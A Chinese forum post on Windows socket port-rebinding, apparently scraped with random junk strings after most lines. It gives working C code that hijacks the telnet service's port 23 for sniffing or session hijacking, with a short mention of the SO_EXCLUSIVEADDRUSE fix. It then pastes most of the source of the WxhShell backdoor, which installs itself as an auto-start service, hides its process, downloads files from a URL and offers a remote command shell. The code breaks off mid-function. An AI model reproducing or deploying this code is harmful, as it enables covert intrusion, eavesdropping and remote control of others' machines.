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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >KF1]/y<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8r"$o1!  
&YMz3ugI  
  saddr.sin_family = AF_INET; [UO?L2$&  
nNbOq[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9+'QH  
zY?GO"U"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3`y9V2&b  
;r(hZ%pD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K_\fO|<k  
*>otz5]  
  这意味着什么?意味着可以进行如下的攻击: r>v_NKS]t  
vZEeb j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K9JW&5Q  
c\2+f7o@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N>, `l  
#$!(8>YJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y\e,#y  
?6h65GO{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rn1^6qy)  
f{ZOH<"Lo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R"Ol'y{  
H|a9};pO\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PnB%vS  
#BA=?7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T /iKz  
3#)I7FG  
  #include ]"'$i4I{R  
  #include ,TrrqCw>  
  #include 9 *>@s  
  #include    !<!5;f8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -Y]ue*k{  
  int main() j$%KKl8j  
  { /S29\^  
  WORD wVersionRequested; cID{X&or  
  DWORD ret; +5n,/YjS`  
  WSADATA wsaData; YGp8./ma<I  
  BOOL val; j^DoILw  
  SOCKADDR_IN saddr; Wj2s+L7,  
  SOCKADDR_IN scaddr; jq6BwUN  
  int err; uyr56  
  SOCKET s; }UwDHq=  
  SOCKET sc; a]NQlsE}l  
  int caddsize; -phwzR\(t  
  HANDLE mt; b!W!Vvf^x  
  DWORD tid;   e1'<;;; L  
  wVersionRequested = MAKEWORD( 2, 2 ); GX4HW \>a  
  err = WSAStartup( wVersionRequested, &wsaData ); Kk?P89=*  
  if ( err != 0 ) { 8l(_{Y5(-  
  printf("error!WSAStartup failed!\n"); H38ODWO3  
  return -1; mjdZ^  
  } I;dc[m  
  saddr.sin_family = AF_INET; _jmkAmeu  
   C3|(XChqC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N*.JQvbnr  
3ZNm,{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OhT?W[4  
  saddr.sin_port = htons(23); CBC0X}_`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `TNW LD@Z  
  { --SlxV/x  
  printf("error!socket failed!\n"); M7R.? nk  
  return -1; _F|oL|  
  } 'F[m,[T%x  
  val = TRUE; c#eV!fl>&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ps3wg=ni[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c]]OV7;)>  
  { 9Xw(|22  
  printf("error!setsockopt failed!\n"); H+&c=~D\_  
  return -1; #QdBI{2  
  } )l}Gwd]h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e 5hq> K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eR,ePyA;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,k}-I65M*t  
U~krv> I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {ETuaFDM   
  { XW]'by  
  ret=GetLastError(); Q/EHvb]  
  printf("error!bind failed!\n");  b,] QfC  
  return -1; =b{wzx}e  
  }  QKW;r  
  listen(s,2); 2l5>>yY  
  while(1) };5d>#NK,Y  
  { Opc, {,z6  
  caddsize = sizeof(scaddr); @BbqYX  
  //接受连接请求 |E/r64T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +C4UM9  
  if(sc!=INVALID_SOCKET) E! '|FJ  
  { .!yXto:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cE3g7(a  
  if(mt==NULL) r(g:b ^S  
  { ~gz_4gzb  
  printf("Thread Creat Failed!\n"); Z(F`M;1>xI  
  break; 49vKb(bz{  
  } Jw;Tq"&  
  } I_|@Fn[>  
  CloseHandle(mt); JDi\?m d.  
  } {9>LF  
  closesocket(s); A.0eeX{  
  WSACleanup(); hfUN~89;  
  return 0; Yyl(<,Yi  
  }   -:mT8'.F-  
  DWORD WINAPI ClientThread(LPVOID lpParam) %Z T@&  
  { /l o;:)AiP  
  SOCKET ss = (SOCKET)lpParam; #^|"dIZ_M  
  SOCKET sc; Mi+<|5is  
  unsigned char buf[4096]; $\:;N]Cs~0  
  SOCKADDR_IN saddr; vUtA@  
  long num; C !a#M{:  
  DWORD val; 9 b?Nlk8d  
  DWORD ret; 9fLxp$`(T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qq,w6ekr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g9N_s,3jC  
  saddr.sin_family = AF_INET; u">KE6um  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %d3KE|&u  
  saddr.sin_port = htons(23); /XfE6SBz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QQ1|]/)  
  { UBj"m<  
  printf("error!socket failed!\n"); gaBVD*>  
  return -1; (c^ZFh2]  
  } xA?(n!{P  
  val = 100; =\[}@Kh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  nIWZo ~  
  { uH"W07  
  ret = GetLastError(); Ze?(N~  
  return -1; wtm=  
  } ?+^vU5b1u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `dp]N0nz  
  { w-2?|XvDmf  
  ret = GetLastError(); h3.6<vM  
  return -1; d :(&q  
  } [ \41  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Pb: z4j  
  { OhNEt>  
  printf("error!socket connect failed!\n"); hXF#KVqx  
  closesocket(sc); fWutB5?P  
  closesocket(ss); }VetaO2*  
  return -1; JZc"4qf@OT  
  }  ,m"0Bu2  
  while(1) J ~"h&>T  
  { klUW_d-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G; onJ>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #YEOY#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =r?#,'a  
  num = recv(ss,buf,4096,0); Oo-%;l`&  
  if(num>0) O|ODJOQNol  
  send(sc,buf,num,0); |mHxkd  
  else if(num==0) @_:Jm tH<  
  break; /kK%}L_D  
  num = recv(sc,buf,4096,0); jE.yT(+lW  
  if(num>0) j$%uip{  
  send(ss,buf,num,0); I4Y; 9Gg  
  else if(num==0) xllk hD4F  
  break; w%Bo7 'o)V  
  } S*0P[R  
  closesocket(ss); \NgBF  
  closesocket(sc); Pl9Ky(Q`V  
  return 0 ; IegZ)&_n  
  } Q,AM<\S  
li`4&<WGC  
` 6'dhB  
========================================================== 7y/Pch  
*  11|P  
下边附上一个代码,,WXhSHELL @/DHfs4O  
Q*GJREC  
========================================================== L)mb.U$`c|  
|K7zN\ Wq  
#include "stdafx.h" Q r n^T  
 Ie<`WU K  
#include <stdio.h> q ad`muAd  
#include <string.h> 1vmK  d  
#include <windows.h> Gv$}>YJ  
#include <winsock2.h> E+tV7xa~  
#include <winsvc.h> ;DG&HO   
#include <urlmon.h> VvS  ^f  
%K$f2):  
#pragma comment (lib, "Ws2_32.lib") q|r/%[[!o  
#pragma comment (lib, "urlmon.lib") ;FI"N@z  
*pOdM0AE  
#define MAX_USER   100 // 最大客户端连接数 f(}AdW}?  
#define BUF_SOCK   200 // sock buffer n}T;q1  
#define KEY_BUFF   255 // 输入 buffer E7c!KJ2  
5|pPzEA>  
#define REBOOT     0   // 重启 `'gadCTb=  
#define SHUTDOWN   1   // 关机 HK/T`p#  
^rP` . Z  
#define DEF_PORT   5000 // 监听端口 <q dM  
2y"|l  
#define REG_LEN     16   // 注册表键长度 [!Jd.zm  
#define SVC_LEN     80   // NT服务名长度 AD=qB5:  
u ]!ZW&  
// 从dll定义API m%[Ul@!V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j1sZRl)D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }5I+VY7a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;%/Kh :Vg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q^_*&},V  
}r)T75_1  
// wxhshell配置信息 ux 7^PTgcO  
struct WSCFG { ,Zs"r}G^  
  int ws_port;         // 监听端口 : K#z~#n  
  char ws_passstr[REG_LEN]; // 口令 ='p&T|&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6')pM&`t  
  char ws_regname[REG_LEN]; // 注册表键名 &E(KOfk#  
  char ws_svcname[REG_LEN]; // 服务名 =HGC<#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7"iUyZ(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  Q9!T@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ( \ \BsK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O6gl[aZN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e=yQFzQT)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K< ;I*cAX  
@S%ogZz*m  
}; 2y t)"DnFk  
R[l9f8  
// default Wxhshell configuration j-% vLL/  
struct WSCFG wscfg={DEF_PORT, VPAi[<FzOG  
    "xuhuanlingzhe", <x^Ab#K"  
    1, n*Q~<`T  
    "Wxhshell", =gYKAr^p5  
    "Wxhshell", "; PW#VHC  
            "WxhShell Service", oQ=v:P]  
    "Wrsky Windows CmdShell Service", {&bjjM  
    "Please Input Your Password: ", 2^\67@9  
  1, Uh9p ,AV  
  "http://www.wrsky.com/wxhshell.exe", XlPi)3m4/S  
  "Wxhshell.exe" AD** 4E  
    }; orGkS<P  
LxcC5/@\~(  
// 消息定义模块 6BnP"R.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tf|?j=f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8H%-/2NW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p,)~w1|  
char *msg_ws_ext="\n\rExit."; [i&EUvo  
char *msg_ws_end="\n\rQuit."; 8~~*/oCoJt  
char *msg_ws_boot="\n\rReboot..."; l[_ y|W5  
char *msg_ws_poff="\n\rShutdown...";  ./iC  
char *msg_ws_down="\n\rSave to "; I 19 /  
;g:!WXd  
char *msg_ws_err="\n\rErr!"; ++HHUM  
char *msg_ws_ok="\n\rOK!"; O@Ro_sPG(  
C'_^DPzj  
char ExeFile[MAX_PATH]; '#;%=+=;  
int nUser = 0; .:`+4n  
HANDLE handles[MAX_USER]; " 0:&x n8L  
int OsIsNt; h^)R}jy+f  
E6=JL$"  
SERVICE_STATUS       serviceStatus; EGY'a*]cU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e\[z Q 2Z3  
r}9a3 1i  
// 函数声明 c6;326aD q  
int Install(void); ;?*`WB  
int Uninstall(void); -Tzp;o  
int DownloadFile(char *sURL, SOCKET wsh); B*zR/?U^  
int Boot(int flag); XVlZ:kz  
void HideProc(void); #TXN\YNP  
int GetOsVer(void); e1EFZ,EcaO  
int Wxhshell(SOCKET wsl); n' XvPV|  
void TalkWithClient(void *cs); w6PKr^  
int CmdShell(SOCKET sock); w[WyT`6h!  
int StartFromService(void); \L-K}U>J  
int StartWxhshell(LPSTR lpCmdLine); z)Yk&;XC  
&?#,rEw<x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D)]U+Qk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "M GX(SQ  
L,m'/}$  
// 数据结构和表定义 zE~{}\J  
SERVICE_TABLE_ENTRY DispatchTable[] = (eG9b pqr  
{ tU5Z?QS  
{wscfg.ws_svcname, NTServiceMain}, 7jj.maK  
{NULL, NULL} ,vxxp]#5  
}; 9i&(VzY[=  
3!&PI  
// 自我安装 HFtl4P  
int Install(void) (.CEEWj%{  
{ ]ZkR~?  
  char svExeFile[MAX_PATH]; {pV\]E\]  
  HKEY key; GH6HdZ  
  strcpy(svExeFile,ExeFile); #[Z1W8e  
0`LR!X  
// 如果是win9x系统,修改注册表设为自启动 B"07:sO  
if(!OsIsNt) { &gP/<!#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q)n6.%V/e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^PNE6  
  RegCloseKey(key); ~x!"(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0wh4sKm[X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K4r"Q*h  
  RegCloseKey(key); /M0A9ZT[  
  return 0; p#]D-?CM)  
    } h^H~q<R[T  
  } " h D6Z  
} a/ k0(  
else { kF1Tg KSd  
2j*+^&M/  
// 如果是NT以上系统,安装为系统服务 xT]|78h$   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5t,W'a_  
if (schSCManager!=0) aX)k (*|  
{ c,v?2*<  
  SC_HANDLE schService = CreateService )P>}uK;  
  ( ;Nd,K C0k  
  schSCManager, ;cFlZGw   
  wscfg.ws_svcname, K KCzq |  
  wscfg.ws_svcdisp, 8Hdm(>  
  SERVICE_ALL_ACCESS, 'l&),]|$)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h@^d Vg  
  SERVICE_AUTO_START, K [.*8  
  SERVICE_ERROR_NORMAL, 6]Vf`i  
  svExeFile, eB]R<a60  
  NULL, ]1^F  
  NULL, y3,'1^lA  
  NULL, /^2&@P7  
  NULL, -;i vBR  
  NULL UhI T!x  
  ); 1 m>x5Dbk!  
  if (schService!=0) ]ZbZ]  
  { 'Avp16zg  
  CloseServiceHandle(schService); 8Hf:yG,  
  CloseServiceHandle(schSCManager); 5LkpfmR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %VSjMZ  
  strcat(svExeFile,wscfg.ws_svcname); FxkxV GZ"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; xz}]@]Ar  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /'ukeK+'  
  RegCloseKey(key); I?z*.yA*  
  return 0; W/\M9  
    } -(Z%?]+  
  } |)4aIa  
  CloseServiceHandle(schSCManager); T2%{pcdV/  
} ,WA[HwY-  
} &|LP>'H;  
Cb1fTl%  
return 1; m j!P ]  
} "UVqHW1%K  
g?mfpwZj  
// 自我卸载 PdkS3Hz  
int Uninstall(void) S{l >|N2q  
{ f\zu7,GU  
  HKEY key; SXJ]()L?[v  
U.kTdNSp  
if(!OsIsNt) { :mI[fQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aOOkC&%  
  RegDeleteValue(key,wscfg.ws_regname); ($vaj;  
  RegCloseKey(key); .Z2zv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Gsbcl{  
  RegDeleteValue(key,wscfg.ws_regname); [3~mil3rO  
  RegCloseKey(key); (v2.8zrJ  
  return 0; 4kr! Af  
  } /+p]VHP\  
} Tg-HR8}X  
} q '  
else { Ia'm9Z*  
P*kKeMl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N+V_[qr#  
if (schSCManager!=0) R3<2Z0lqy  
{ GQvJj4LJp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jWX^h^n7K  
  if (schService!=0) _]/&NSk  
  { @8$3Q,fF(  
  if(DeleteService(schService)!=0) { ;/- X;!a>  
  CloseServiceHandle(schService); h{BO\^6x  
  CloseServiceHandle(schSCManager); MF}}o0P  
  return 0; ,<cF<9h  
  } xtN=?WjVe0  
  CloseServiceHandle(schService); Qk_Mx"  
  } n#fc=L1U  
  CloseServiceHandle(schSCManager); % QKlvmI"  
} ZBf9Upg  
} !J%m7 A  
n~e#Y<IP\1  
return 1; zB@@Gs>  
} \.AI;^)X@]  
|TE\]  
// 从指定url下载文件 a#NP69  
int DownloadFile(char *sURL, SOCKET wsh) noLb  
{ |-'.\)7:  
  HRESULT hr; Z9+xB"q2  
char seps[]= "/"; UZ qQ|3  
char *token; puPYM"  
char *file; %J 'RO  
char myURL[MAX_PATH]; NW=tZVQ<X  
char myFILE[MAX_PATH]; :87HXz6]jS  
N:yyDeGyW  
strcpy(myURL,sURL); Pp9nilb_(  
  token=strtok(myURL,seps); Ac@ zTK6>  
  while(token!=NULL) $>M A  
  {  =>Md>VM  
    file=token; r:n-?P  
  token=strtok(NULL,seps); b#2$Pd:(  
  } <s737Rl  
6d% |yl  
GetCurrentDirectory(MAX_PATH,myFILE); kpU-//lk+  
strcat(myFILE, "\\"); TM1D|H  
strcat(myFILE, file); a| s64+  
  send(wsh,myFILE,strlen(myFILE),0); 3"pl="[*  
send(wsh,"...",3,0); k.d Q;v}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uSRvc0R\  
  if(hr==S_OK) (H*d">`mz  
return 0; w&E*{{otJ  
else ?V>\9?zb  
return 1; WV8?zB1  
df$VC  
} 6x _tX  
Oy `2ccQ#  
// 系统电源模块 YhzDi>hob  
int Boot(int flag) OlV'#D   
{ R>YDn|cWI  
  HANDLE hToken; KJf~9w9U  
  TOKEN_PRIVILEGES tkp; >10pk  
,PyA$Z  
  if(OsIsNt) { pJK}9p=4`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q6r!=yOEY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tUp'cG  
    tkp.PrivilegeCount = 1; xg>AW Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '[6o(~ *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  xlH?J;$  
if(flag==REBOOT) { Y.<&phv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J:c]z9&!  
  return 0; +-|D$@8S  
} =:!$'q:  
else { O+o4E?}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6.!3g(w   
  return 0; 6,C,LT2^(  
} ``:AF:  
  } 2[*r9%W  
  else { eqL~h1^Co  
if(flag==REBOOT) { 9_6.%qj&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l/JE}Eg(  
  return 0; P0En&g+~  
} nn"Wn2ciS  
else { l{{wrU`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x 7;Zwd  
  return 0; B3P#p^  
} es` A<  
} \rw/d5.  
%>cl0W3x  
return 1; kJJUu  
} eDm~B (G$  
}Ot I8;>  
// win9x进程隐藏模块 yvgn}F{}  
void HideProc(void) 9P3jx)K  
{ Ua@rp3fr  
M=n_;3,o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zm:Wig ,a  
  if ( hKernel != NULL ) U[ $KQEJYj  
  { `J>76WN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C6XTId=y#_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uh~/ybR  
    FreeLibrary(hKernel); [\ M=w7  
  } wXc"Car)  
idC4yH42  
return; QL>G-Rp  
} 1GnT^u y/  
i4Y_5  
// 获取操作系统版本 e#YQA  
int GetOsVer(void) ICD(#m  
{ H:X=v+W  
  OSVERSIONINFO winfo; .qyk[O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !OJ@ =y`i  
  GetVersionEx(&winfo);  '8NKrI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sOJH$G3O  
  return 1; rx*1S/\PPc  
  else uv++Kj!  
  return 0; *-timVlaE  
} gc:qqJi)X  
41<.e` {  
// 客户端句柄模块 JM#jg-z,~  
int Wxhshell(SOCKET wsl) IED7v  
{ PMJe6*(x/  
  SOCKET wsh; e&C(IEZ/N;  
  struct sockaddr_in client; ,`/J1(\ nd  
  DWORD myID; v hUn3|  
 H}NW?  
  while(nUser<MAX_USER) *f~X wy"  
{ q|,I\H5}  
  int nSize=sizeof(client); %C= {\]-2~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  J9oGw P  
  if(wsh==INVALID_SOCKET) return 1; R>"E Xq  
6&=xu|M<x=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #,O<E@E  
if(handles[nUser]==0) VVdgNT|}W  
  closesocket(wsh); 1\7SiQ-  
else k/vE|  
  nUser++; =5EG}@  
  } H#8]Lb@@:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t;9f7~  
--0z"`@{  
  return 0; t_ &FK A  
} Ys10r-kDS  
Y%$57,Bu n  
// 关闭 socket *-bR~  
void CloseIt(SOCKET wsh) yzhr"5_  
{ {A4"KX(U  
closesocket(wsh); I<*U^e  
nUser--; 5gg_c?Vh/  
ExitThread(0); :8U=L'4  
} 3ug{1 M3  
XpWqL9s_E  
// 客户端请求句柄 ([s}bD.9  
void TalkWithClient(void *cs) -p`hevRr  
{ w}<BO> z  
yqqP7  
  SOCKET wsh=(SOCKET)cs; &C3J6uCm+  
  char pwd[SVC_LEN]; %FGPsHH  
  char cmd[KEY_BUFF]; <tAn2e!  
char chr[1]; :L`  
int i,j; ^r^c MksB*  
RNuOwZ1m  
  while (nUser < MAX_USER) { ghJ81  
lyKV^7}  
if(wscfg.ws_passstr) { {mF:m5e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r4jW=?|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PdJtJqA8h\  
  //ZeroMemory(pwd,KEY_BUFF); W,YzD&f=uS  
      i=0; k( 1rp|qf  
  while(i<SVC_LEN) { `!5 ZF@Q>e  
0R<@*  
  // 设置超时 di`Ql._M  
  fd_set FdRead; lRnst-inlI  
  struct timeval TimeOut; tR!eYt  
  FD_ZERO(&FdRead); ,JRYG<O_T  
  FD_SET(wsh,&FdRead); ? )-*&1cv  
  TimeOut.tv_sec=8; _S/bwPj|~y  
  TimeOut.tv_usec=0; !Pt|Hk dr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {FraM,w:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zs e3e  
_;$VH4(BI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^]^Y~$u  
  pwd=chr[0]; { dwm>a  
  if(chr[0]==0xd || chr[0]==0xa) { aB-*l %x  
  pwd=0; \dCoY0Z ;  
  break; =(K;z9OR  
  } ?s#DD,  
  i++; =El.uBz{  
    } +w:[By"  
pNr3u  
  // 如果是非法用户,关闭 socket YMad]_XOP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;2kiEATQ 1  
} "m0>u,HmI  
`Z>4}<~+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BgJ;\NV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /"tVOv#  
SoS[yr  
while(1) { ~<Uwum v  
(A\qZtnyl  
  ZeroMemory(cmd,KEY_BUFF); d%VGfSrKq  
{l.) *#O  
      // 自动支持客户端 telnet标准   9s6, &'  
  j=0; h&L+Qx  
  while(j<KEY_BUFF) { z<ptrH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vd4x!Vk  
  cmd[j]=chr[0]; X3".  
  if(chr[0]==0xa || chr[0]==0xd) { L{N9h1]  
  cmd[j]=0; =et=X_3-  
  break; @fRB0m"3  
  } P )_g t  
  j++; XB UO  
    } -uqJ~gD  
>e($T!}Z  
  // 下载文件 ;gTdiwfgZ=  
  if(strstr(cmd,"http://")) { *5hg}[n2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &48wa^d  
  if(DownloadFile(cmd,wsh)) {tk42}8k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,Fk  
  else vi["G7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L qMH]W  
  } ;XSV}eLu  
  else { c>:}~.~T  
AVGb;)x#  
    switch(cmd[0]) { !3v!BJ#+,&  
  (WCpaC  
  // 帮助 &`0y<0z  
  case '?': { SWY?0Pu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z^gf@r  
    break;  ;iy]mPd  
  } `LVItP(GUM  
  // 安装 ea3AcT6  
  case 'i': { A?ma5h  
    if(Install()) =7e~L 3 K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $T8Ni!#/C  
    else p )etl5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |+mhYq|`  
    break; i d\0yRBt  
    } s+2\uMwf*  
  // 卸载 3cBuqQ  
  case 'r': { ,oT?-PC$z  
    if(Uninstall()) S)C =Q~&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z|=l^u6uS  
    else lfOF]Kiqr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &1ASWllD  
    break; 8|.( Y  
    } AmM^&  
  // 显示 wxhshell 所在路径 1u:OzyJy  
  case 'p': { w1KLQd:yq  
    char svExeFile[MAX_PATH]; 8E H# IiP  
    strcpy(svExeFile,"\n\r"); *^bqpW2$q  
      strcat(svExeFile,ExeFile); f]^(|*6  
        send(wsh,svExeFile,strlen(svExeFile),0); @2v L'6  
    break; )a .w4dH  
    } j/TsHJ=  
  // 重启 YT+fOndjaF  
  case 'b': { @`G_6 <.`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wo&MHMP  
    if(Boot(REBOOT)) '!]ry<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BEPeK  
    else { n,hHh=.Fu  
    closesocket(wsh); T;w%-k\<r  
    ExitThread(0); V.Dqbv  
    } (NyS2 `  
    break; s 4Lqam!  
    } ?;i O  
  // 关机 :/c=."z.  
  case 'd': { \`;FL\1+W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eL JW  
    if(Boot(SHUTDOWN)) C|5eV=f)P  
